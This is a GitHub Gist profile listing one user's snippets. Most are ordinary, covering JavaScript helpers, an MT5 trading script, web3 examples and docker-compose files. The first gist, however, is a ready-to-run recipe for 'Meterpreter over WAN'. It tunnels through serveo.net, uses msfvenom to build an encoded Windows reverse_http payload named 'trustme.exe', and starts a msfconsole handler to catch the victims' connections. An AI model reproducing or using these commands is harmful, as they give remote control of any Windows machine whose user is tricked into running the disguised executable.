Skip to content

Instantly share code, notes, and snippets.

View pawiromitchel's full-sized avatar
🔥
By doing nothing, you become nothing

Mitchel pawiromitchel

🔥
By doing nothing, you become nothing
View GitHub Profile
@pawiromitchel
pawiromitchel / reverse_http_80.md
Last active September 5, 2023 17:54
Meterpreter over WAN

Start the tunnel

Used autossh for persistant ssh session (reconnects when it breaks)

autossh -R trustme:80:localhost:80 serveo.net

Generate the payload

msfvenom --arch x86 --platform windows --payload windows/meterpreter/reverse_http LHOST=trustme.serveo.net LPORT=80 --bad-chars “\x00” --encoder x86/shikata_ga_nai --format exe --out $PWD/trustme.exe

Listen for incoming connections

msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_http;set LHOST 0.0.0.0;set LPORT 80;run;"

@pawiromitchel
pawiromitchel / daysBetween.js
Created January 27, 2017 11:24
JS - Calculate the difference between 2 dates
function daysBetween(one, another) {
return Math.round(Math.abs(one - another) / 8.64e7);
}
// usage
a = daysBetween(new Date(date1), new Date(date2))
@pawiromitchel
pawiromitchel / test.py
Created April 26, 2020 22:01
MT5 | Place a trade programmatically with python
import requests as req
import json
import time
import MetaTrader5 as mt5
order = json.loads('{ "status": "NEW", "type": "BUY", "ticker": "EURUSD", "take_profit": "1.0820987897891143", "stop_loss": "1.0819768153163283" }')
# display data on the MetaTrader 5 package
print("MetaTrader5 package author: ", mt5.__author__)
print("MetaTrader5 package version: ", mt5.__version__)
@pawiromitchel
pawiromitchel / urlExists.js
Created January 27, 2017 11:27
JS - check if an object or url exists
function urlExists(testUrl) {
var http = $.ajax({
type:"HEAD",
url: testUrl,
async: false
})
return http.status;
// this will return 200 on success, and 0 or negative value on error
}
@pawiromitchel
pawiromitchel / ws-web3js-subscribe.js
Created May 9, 2022 12:05
subscribe to pendingTransactions with web3js
const Web3 = require('web3');
const RPC = 'wss://xxxx';
const options = {
timeout: 30000, // ms
headers: {},
// Enable auto reconnection
reconnect: {
auto: true,
delay: 5000, // ms
maxAttempts: 5,
@pawiromitchel
pawiromitchel / interact.js
Created April 21, 2022 12:40
interact with a smart contract
const Contract = require('web3-eth-contract');
const url = `INFURA/QUICKNODE-API-ENDPOINT`;
Contract.setProvider(url);
let tokenAddress = "0x...";
let ABI = require('./ABI/erc20.json');
const contract = new Contract(ABI, tokenAddress);
contract.methods.totalSupply().call().then(console.log);
@pawiromitchel
pawiromitchel / docker-compose.yml
Created February 23, 2022 14:27
[mongodb docker image] #docker #mongodb
# https://hub.docker.com/_/mongo
version: '3.1'
services:
mongo:
image: mongo
restart: always
environment:
MONGO_INITDB_ROOT_USERNAME: root
@pawiromitchel
pawiromitchel / docker-compose.yml
Created February 20, 2022 23:47
[mysql + phpmyadmin] #mysql #docker
version: '3.1'
services:
db:
image: mysql
restart: always
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: test_db
ports:
- "3308:3306"
@pawiromitchel
pawiromitchel / docker-compose.yml
Created February 20, 2022 09:09
[postgresql + pgadmin docker file] #docker #postgres #pgadmin
version: '3.8'
services:
db:
container_name: pg_container
image: postgres
restart: always
environment:
POSTGRES_USER: root
POSTGRES_PASSWORD: root
POSTGRES_DB: test_db
@pawiromitchel
pawiromitchel / 3box.txt
Created September 23, 2021 23:59
3Box verification
This post links my 3Box profile to my Github account! Web3 social profiles by 3Box.
✅ did:3:bafyreidd26rha45uslfwbxbf2w4exmoxe3cbv4rh5rvikuseavcolyaslu ✅
Create your profile today to start building social connection and trust online at https://3Box.io/